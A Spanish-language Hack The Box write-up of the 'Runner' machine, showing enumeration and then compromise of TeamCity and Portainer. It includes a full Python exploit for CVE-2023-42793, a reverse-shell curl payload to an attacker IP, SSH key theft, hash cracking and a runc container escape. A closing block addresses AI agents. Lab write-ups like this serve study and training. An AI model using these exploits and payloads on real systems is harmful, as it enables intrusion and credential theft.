# HTB - Runner

<figure><img src="/files/acBHddutqpO5x1VMsGVy" alt=""><figcaption></figcaption></figure>

## Información General

* **Nombre de la Máquina:  Runner**
* **IP de la Máquina:** 10.129.162.200
* **Sistema Operativo: Linux**
* **Dificultad: Medium**
* **Fecha de Publicación:  20** Apr 2024

***

## Enumeration

### Ping

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción `-R` para incluir la ruta de retorno:

{% code title="Kali Linux Machine" %}

```bash
ping -c 1 10.129.162.200 -R
```

{% endcode %}

<figure><img src="/files/A7hlQPLkmRBt2rN8aFsv" alt=""><figcaption></figcaption></figure>

El valor de TTL (Time To Live) igual a 63 puede ser indicativo de que el sistema operativo de la máquina objetivo es Linux. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Linux establece por defecto el valor de TTL de sus paquetes IP en 64, que al pasar por un salto en la red se decrementa a 63.

### Initial NMAP Scan&#x20;

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones `-p-` para escanear todos los puertos, `--open` para mostrar solo los puertos abiertos, `-sS` para un escaneo de tipo TCP SYN, `--min-rate 5000` para establecer la velocidad mínima de paquetes y `-vvv` para un nivel de verbosidad alto. Además, utilizamos `-n` para desactivar la resolución de DNS, `-Pn` para no realizar el escaneo de ping, y `-oG allPorts` para guardar la salida en un archivo con formato Greppable <mark style="color:yellow;">para luego utilizar nuestra función extractPorts</mark>:

<pre class="language-bash" data-title="Kali Linux Machine" data-overflow="wrap"><code class="lang-bash"><strong>sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.162.200 -oG allPorts
</strong>extractPorts allPorts
</code></pre>

<figure><img src="/files/ZyqnTw9UZ9Hk6L8H3ktx" alt=""><figcaption></figcaption></figure>

### Focused NMAP Scan

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción `-sCV` para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con `-p __PORTS__` (reemplazando `__PORTS__` con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre `targeted`:

{% code title="Kali Linux Machine" %}

```bash
sudo nmap -sCV -p22,80,8000 10.129.162.200 -oN targeted
```

{% endcode %}

<figure><img src="/files/BfhVeuTDtYqm627eSDzS" alt=""><figcaption></figcaption></figure>

### Modifying /etc/hosts

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
echo "10.129.162.200 runner.htb" | sudo tee -a /etc/hosts
```

{% endcode %}

## &#x20;Exploring runner.htb:80

<figure><img src="/files/7eQZ2MojQj2zoaoF8Bii" alt=""><figcaption></figcaption></figure>

A simple vista no encuentro nada interesante, aquí dejo las rutas que adquirí inspeccionando y viendo el source nada más:

```bash
assets/js/jquery-3.5.1.min.js
assets/js/bootstrap.bundle.min.js
assets/vendor/wow/wow.min.js
assets/vendor/owl-carousel/js/owl.carousel.min.js
assets/vendor/waypoints/jquery.waypoints.min.js
assets/vendor/animateNumber/jquery.animateNumber.min.js
assets/js/google-maps.js
assets/js/theme.js
```

### WFuzz directories

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://runner.htb/FUZZ
```

{% endcode %}

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://runner.htb/assets/FUZZ
```

{% endcode %}

<figure><img src="/files/I8rCukkqMaz66XUw6Jv9" alt=""><figcaption></figcaption></figure>

En este caso al descubrir *assets,* luego cambio el `FUZZ` a */assets/FUZZ.* Pero no encuentro nada util la verdad y me enfoco en el puerto 8000.

## Exploring runner.htb:8000

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://runner.htb:8000/FUZZ
```

{% endcode %}

<figure><img src="/files/MzVzgc9WlETrZ2PUzIZB" alt=""><figcaption></figcaption></figure>

Más que esto no he encontrado, sin la versión es complicado hacer un ataque a Nagios, quizás más adelante sea necesario, por el momento lo dejaré de lado y seguiré enumerando, pero en este caso subdomains.

### Wfuzz Subdomains/VHosts

Aquí la verdad probé muchas wordlists, ya me estaba rindiendo pero resultó con `namelist.txt`.

```
subdomains-top1million-110000.txt
subdomains-top1million-20000.txt 
combined_subdomains.txt 
subdomains-top1million-5000.txt
```

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
wfuzz -c -w /usr/share/seclists/Discovery/DNS/namelist.txt --hc 400,404,403 -H "Host: FUZZ.runner.htb" -u http://runner.htb -t 100 --hh 154
```

{% endcode %}

En este caso le puse --hh 154 porque estoy omitiendo el resultado de 154 Characters, me llenaba la pantalla y me molestaba.

<figure><img src="/files/a6gEpBUwBA0ioeesEfhb" alt=""><figcaption></figcaption></figure>

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
echo "10.129.162.200 teamcity.runner.htb runner.htb" | sudo tee -a /etc/hosts
```

{% endcode %}

## Exploring teamcity.runner.htb

<figure><img src="/files/jvP9eYDGQMLEkoY9mdrq" alt=""><figcaption></figcaption></figure>

Al ingresar podemos percatarnos que la versión de `TeamCity` es `2023.05.3 (build 129390).`

<figure><img src="/files/dGBAbhiM5A5aW5BZjYjy" alt=""><figcaption></figcaption></figure>

El forgotPassword.html tiene una respuesta rápida así que no quita la posibilidad de algún ataque de fuerza bruta.&#x20;

Así que empezamos fuerte, porque al Googlear un poco me encuentro con algunas CVE. Y por lo que me imagino deben haber varias formas de pwnear esto, así que dejaré plasmada la mía.

Pero antes de empezar a explotar voy a descubrir directorios con WFuzz.

### WFuzz directories in teamcity.runner.htb

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://teamcity.runner.htb/FUZZ
```

{% endcode %}

<figure><img src="/files/qDNK80qwbueMNqEldv8k" alt=""><figcaption></figcaption></figure>

Después de un rato no hallo nada interesante así que lo más obvio sería continuar con la explotación de alguno de los CVE que se encuentran disponibles para la versión 2023.05.3.

### CVE-2023-42793

Analicé el código y bueno también le metí un poco de mano al código, ahora también muestra el valor del token que obtenemos haciendo POST Request a `/app/rest/users/id:1/tokens/RPC2.`

```python
import requests
import argparse
import re
import random
import string
import subprocess
from colorama import init, Fore

init()

banner = f"""
{Fore.MAGENTA}=====================================================
*       CVE-2023-42793                              *
*  TeamCity RCE                                     *   
*                                                   *
*  {Fore.WHITE}Author: ByteHunter{Fore.MAGENTA}                               *
*  {Fore.WHITE}Modified: 3ky{Fore.MAGENTA}                                    *
=====================================================
"""

def print_banner():
    print(banner)

def parse_arguments():
    parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")
    parser.add_argument("-u", "--url", required=True, help="Target URL (http://teamcity.runner.htb")
    parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")
    return parser.parse_args()

def generate_random_string(length):
    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))

def get_token(url, curl_command):
    get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
    response = requests.post(get_token_url, verify=False)
    if response.status_code == 200:
        match = re.search(r'value="([^"]+)"', response.text)
        if match:
            return match.group(1)
        else:
            print("Token not found in the response")
    elif response.status_code == 404 or response.status_code == 400:
        print("Token already exists")
        delete_and_retry(url, curl_command)
    else:
        print("Failed to get a token")

def delete_and_retry(url, curl_command):
    delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    if delete_process.returncode == 0:
        print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
        print("Failed to delete the previous token")

def create_admin_user(url, curl_command, token):
    create_user_url = f"{url}/app/rest/users"
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    random_chars = generate_random_string(12)
    username = f"{random_chars}"
    password = generate_random_string(12)
    data = {
        "username": username,
        "password": password,
        "email": "admin@runner.htb",
        "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
    }
    create_user_response = requests.post(create_user_url, headers=headers, json=data)
    if create_user_response.status_code == 200:
        print(f"{Fore.GREEN}CVE-2023-42793")
        print(f"URL: {url}")
        print(f"Username: {username}")
        print(f"Password: {password}{Fore.RESET}")
        print(f"{Fore.RED}Token: {token}{Fore.RESET}")
    else:
        print(f"{Fore.RED}Failed to create new admin user{Fore.RESET}")

def main():
    print_banner()
    args = parse_arguments()
    url = args.url
    curl_command = "curl -k" if url.startswith("https://") else "curl"
    token = get_token(url, curl_command)
    if not token:
        return
    create_admin_user(url, curl_command, token)

if __name__ == "__main__":
    main()

```

{% hint style="info" %}
<https://www.exploit-db.com/exploits/51884> (SOURCE).
{% endhint %}

<figure><img src="/files/qgI34KiLwyUnu3tEELOA" alt=""><figcaption></figcaption></figure>

```
Username: K6gt1Ydbeyxz
Password: sLpsKuEs45pC
Token: eyJ0eXAiOiAiVENWMiJ9.cmFmTWswcUJZVzQtZ1VuWVBQemNHZGZGR0w4.MWYzNTE5MmQtMDZjOC00ZTA3LTlkNWItYmNhOTJkYTNkNTM4
```

Claro está que estas credenciales son creadas por nosotros a través del RCE. Quiere decir que solo funcionarán en mi máquina.&#x20;

Pero eso no es todo, buscando más sobre la `CVE-2023-42793` me encuentro la sorpresa de que podemos realizar un arbitrary code execution.

{% hint style="info" %}
<https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity>
{% endhint %}

En pocas palabras con el Token que creamos pertenece a una sesión de usuario que tiene privilegios de administrador, y con estos podemos modificar permisos.

<table data-header-hidden><thead><tr><th width="131"></th><th></th></tr></thead><tbody><tr><td>Request</td><td>curl -XPOST "http://teamcity.runner.htb/admin/dataDir.html?action=edit&#x26;fileName=config/internal.properties&#x26;content=rest.debug.processes.enable=true" -H "Authorization: Bearer <mark style="color:red;">TOKEN</mark>" -H "Content-Type: text/plain"</td></tr></tbody></table>

Por ejemplo si ingresamos a teamcity.runner.htb con las credenciales, y luego vamos a la pestaña diagnostics (<http://teamcity.runner.htb/admin/admin.html?item=diagnostics&tab=properties>).

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
curl -XPOST "http://teamcity.runner.htb/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.cmFmTWswcUJZVzQtZ1VuWVBQemNHZGZGR0w4.MWYzNTE5MmQtMDZjOC00ZTA3LTlkNWItYmNhOTJkYTNkNTM4" -H "Content-Type: text/plain"
```

{% endcode %}

<figure><img src="/files/kP14mmikHKb2p6t9fZu3" alt=""><figcaption></figcaption></figure>

Esto nos permite utilizar el siguiente recurso `/app/rest/debug/processes.`

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
curl -XPOST "http://teamcity.runner.htb/app/rest/debug/processes?exePath=whoami" -H "Authorization: Bearer TOKEN" -H "Content-Type: text/plain"
```

{% endcode %}

<figure><img src="/files/rdzkFD4sdyVx4Xu3qwDm" alt=""><figcaption></figcaption></figure>

## Reverse Shell on teamcity.runner.htb as tcuser

Entonces lo que quiero intentar es lograr una `reverse shell`. Estudiando un poco  cómo funciona el debug.processes, me entero de que utiliza otra variable llamada "parameters", la cual podemos llamar varias veces. En mi caso junto con UNICODE genero el siguiente payload:

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
curl -XPOST "http://teamcity.runner.htb/app/rest/debug/processes?exePath="/bin/bash"&params="-c"&params="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.41%2F7777%200%3E%261"" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.cmFmTWswcUJZVzQtZ1VuWVBQemNHZGZGR0w4.MWYzNTE5MmQtMDZjOC00ZTA3LTlkNWItYmNhOTJkYTNkNTM4" -H "Content-Type: text/plain"
```

{% endcode %}

<figure><img src="/files/j4kUW6MTwh9keueA2guL" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Aquí puedes darle estabilidad a la shell -> [Broken mention](broken://pages/9odN7zpBeM5ekwtgiiNq)
{% endhint %}

## LinEnum / LinPEAS with tcuser

Vamos a aprender un poco de nuestro objetivo para ello recomiendo LinEnum o LinPEAS, es a tu elección.

{% code title="Target Linux Machine" overflow="wrap" %}

```bash
curl 10.10.14.41:8888/LinEnum.sh -o lin.sh
chmod +x lin.sh
./lin.sh
```

{% endcode %}

<figure><img src="/files/jzK65rlDZ97ndZgkfBAg" alt=""><figcaption></figcaption></figure>

El reporte de LinEnum me muestra un archivo `.dockerenv`, quiere decir que nos encontramos dentro de un docker, la idea es buscar credenciales de algún usuario para poder salir de aquí.

{% code title="LinEnum.sh output" overflow="wrap" %}

```bash
[-] Current user/group info:
uid=1000(tcuser) gid=1000(tcuser) groups=1000(tcuser)

[+] Looks like we're in a Docker container:
-rwxr-xr-x 1 root root 0 Feb 28 19:05 /.dockerenv
```

{% endcode %}

Otra cosa que siempre me gusta hacer es buscar posibles passwords o ssh keys.

{% code title="Target Linux Machine" overflow="wrap" %}

```bash
find / -name "id_rsa" 2>/dev/null
find / -name ".ssh" 2>/dev/null
```

{% endcode %}

Encontramos un archivo id\_rsa en el siguiente directorio.

```bash
/data/teamcity_server/datadir/config/projects/AllProjects/pluginData/ssh_keys/
```

<figure><img src="/files/8xDR3zEsrgXRC63ihkI9" alt=""><figcaption></figcaption></figure>

Creo un archivo id\_rsa, agrego la clave privada, lo guardo y le doy permiosos (600).\
El problema es que desconozco de quién es el usuario, intenté con `root` y `tcuser` y no hubo suerte.\
\
Así que vuelvo a la pagina de teamcity a buscar más información de usuarios, así que accedo aquí:&#x20;

{% embed url="<http://teamcity.runner.htb/admin/admin.html?item=users>" %}

<figure><img src="/files/JxM6M8FysxPgBRm6RFC4" alt=""><figcaption></figcaption></figure>

```
admin:john@runner.htb
matthew:matthew@runner.htb
```

Así que intento utilizando la id\_rsa con el usuario john.

```bash
ssh -i id_rsa john@runner.htb
```

<figure><img src="/files/UzJXI7ugD2cc1LNLsbmW" alt=""><figcaption></figcaption></figure>

## SSH on runner.htb as john&#x20;

Aquí podemos ver que ya nos encontramos fuera del *container*. Me gustaría ejecutar un **LinPEAS** o **LinEnum** aquí también para poder saber más sobre el objetivo, quizás un movimiento lateral hacia `Matthew` o una *Escalation Privilege* directa hacia `root.`

<figure><img src="/files/gSY6PwquTfM76hdU7zqb" alt=""><figcaption></figcaption></figure>

### Obtainning user.txt flag

```bash
ls -la
cat user.txt
curl 10.10.14.41:8888/LinEnum.sh -o lin.sh
chmod +x lin.sh
./lin.sh
```

<figure><img src="/files/IV6oM24LvMAUBj4Oz9XW" alt=""><figcaption></figcaption></figure>

Aquí podemos comprobar el docker.

```
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:18ff:fe55:dfec  prefixlen 64  scopeid 0x20<link>
        ether 02:42:18:55:df:ec  txqueuelen 0  (Ethernet)
        RX packets 228971  bytes 50185755 (50.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 272226  bytes 30759396 (30.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

```
[+] Looks like we're hosting Docker:
Docker version 25.0.3, build 4debf41
```

Cuando reviso el `/etc/hosts` me encuentro con otro subdomain.

{% code title="Target Linux Machine" overflow="wrap" %}

```bash
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 runner runner.htb teamcity.runner.htb portainer-administration.runner.htb

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

{% endcode %}

### Modifying /etc/hosts

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
echo "10.129.162.200 portainer-administation.runner.htb" | sudo tee -a /etc/hosts
```

{% endcode %}

## Exploring portainer-administration.runner.htb

{% code title="Target Linux Machine" overflow="wrap" %}

```bash
find / -name "portainer" 2>/dev/null
/etc/nginx/sites-enabled/portainer
/etc/nginx/sites-available/portainer
/opt/portainer
/opt/portainer/portainer
```

{% endcode %}

```bash
john@runner:/opt/portainer$ ls -la
total 252244
drwxr-xr-x 4 root docker     4096 Apr  4 10:24 .
drwxr-xr-x 4 root root       4096 Apr  4 10:24 ..
-rwxr-xr-x 1 root docker 48047088 Dec  7 08:15 docker
-rwxr-xr-x 1 root docker 60470973 Dec  7 08:15 docker-compose
-rwxr-xr-x 1 root docker 50597888 Dec  7 08:15 helm
-rwxr-xr-x 1 root docker 48037888 Dec  7 08:15 kubectl
drwxr-xr-x 2 root docker     4096 Apr  4 10:24 mustache-templates
-rwxr-xr-x 1 root docker 51122176 Dec  7 08:15 portainer
drwxr-xr-x 3 root docker     4096 Apr  4 10:24 public
john@runner:/opt/portainer$ cd ..
john@runner:/opt$ ls -la
total 16
drwxr-xr-x  4 root root   4096 Apr  4 10:24 .
drwxr-xr-x 19 root root   4096 Apr  4 10:24 ..
drwx--x--x  4 root root   4096 Apr  4 10:24 containerd
drwxr-xr-x  4 root docker 4096 Apr  4 10:24 portainer
```

<figure><img src="/files/v5eccBb7QnS2uLsjZWrk" alt=""><figcaption></figcaption></figure>

Quiero pensar que con las credenciales de `John` o `Matthew` puedo ingresar a **Portainer.io** y desde ahí hacer algo con docker y lograr el **Privilege Escalation.** Así que vuelvo a teamcity.runner.htb en busca de alguna password para hacerle reuse.

## &#x20;Obtainning backup of TeamCity

Hay cierto item llamado **backup** el cual... claro, nos permite realizar un backup y esto podria traer la contraseña que ando buscando, esto lo sé en base a la experiencia ya que en otras máquinas también me ha tocado realizar backups, o ver backups o databases para extraer hashes.&#x20;

```bash
http://teamcity.runner.htb/admin/admin.html?item=backup
```

<figure><img src="/files/hK3QR7qw9XU45VnQnlCu" alt=""><figcaption></figcaption></figure>

Descargamos el archivo, lo extraemos y luego buscamos alguna posible *password* o *user.* De este modo logramos encontrar dos `hashes.`

<figure><img src="/files/xLgdZBk8zeu0aASbe7GF" alt=""><figcaption></figcaption></figure>

Procedemos a identificarlos y crackearlos con `John` o `Hashcat.`

{% code title="" overflow="wrap" %}

```bash
hashid '$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em'
```

{% endcode %}

<figure><img src="/files/anzuOrED0BKx4n57AUEb" alt=""><figcaption></figcaption></figure>

```
Matthew:piper123
```

Bueno, ya tenemos las credenciales de `Matthew`. Intentaré conectarme mediante SSH.

```
ssh matthew@runner.htb
```

<figure><img src="/files/MpwrQqytqgiV54lIPDId" alt=""><figcaption></figcaption></figure>

Sin éxito, continuo utilizando estas credenciales pero ahora en **portainer-administration.**

## Accesing to portainer-administration.runner.htb

Utilizo las credenciales `Matthew:piper123` en Portainer.io.

<figure><img src="/files/nHdQwfiOqvNqUN2AywFe" alt=""><figcaption></figcaption></figure>

Esta vez teniendo éxito, podemos también obtener la versión de **portainer.io** con fácilidad.&#x20;

### Creating a container in Portainer.io

Como vimos, se pueden ejecutar acciones como `root` en los *containers* de Docker. Lo que intentaría yo sería crear uno y ver qué se acontece.

```
http://portainer-administration.runner.htb/#!/1/docker/containers
```

<figure><img src="/files/iYBY451pWcEqj4TG58OE" alt=""><figcaption></figcaption></figure>

### Exploit via Setting Working Directory to /proc/self/fd/ <a href="#exploit-via-setting-working-directory-to-procselffdfd" id="exploit-via-setting-working-directory-to-procselffdfd"></a>

{% hint style="info" %}
<https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd>

Set the working directory of the container to `/proc/self/fd/<fd>` (where `<fd>` stands for the file descriptor when opening `/sys/fs/cgroup` in host filesystem. Usually it’s 7 or 8) when running a container.
{% endhint %}

En este caso nosotro vamos a utilizar como `working dir` **/proc&/self/fd/8** para ver si logramos "escapar del container" y mantener los privilegios de `root`.

<figure><img src="/files/0m7SshsZQ6atYeriyL8x" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Cuando creamos el container nos pedirá una **Image**, las obtienes de /docker/images. \
Lo muestro aquí abajo.
{% endhint %}

<figure><img src="/files/kNx4sanKc6SpltLbFT9I" alt=""><figcaption></figcaption></figure>

Ingresamos a nuestro Container -> Console

<figure><img src="/files/owc0Azpe2K3Z0NTix90z" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3glBk4SL3OxZeLleSzNX" alt=""><figcaption></figcaption></figure>

## Escape Vulnerability CVE-2024-21626

{% code title="Docker Container Console" overflow="wrap" %}

```bash
cd ../../../../root
ls -la
cat root.txt
```

{% endcode %}

<figure><img src="/files/MBnXyzOyoDQfGYuYWyjh" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8FogQn9QGLOx6XrxWnSl" alt=""><figcaption></figcaption></figure>

**If you liked this GitBook, give me respect on my HTB profile, greetings!**

**Si te gustó este GitBook dame respect en mi perfil de HTB, saludos!.**

Если вам понравился этот GitBook, выразите мне уважение в моем профиле HTB, привет!

यदि आपको यह GitBook पसंद आया, तो मेरी HTB प्रोफ़ाइल पर मुझे सम्मान दें, शुभकामनाएँ!

Wenn Ihnen dieses GitBook gefallen hat, geben Sie mir Respekt auf meinem HTB-Profil, Grüße!

如果你喜歡這本 GitBook，請尊重我的 HTB 個人資料，問候！

{% embed url="<https://app.hackthebox.com/profile/1199698>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dcollao.gitbook.io/my-pentest-book/writeups/htb-hackthebox/htb-runner.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
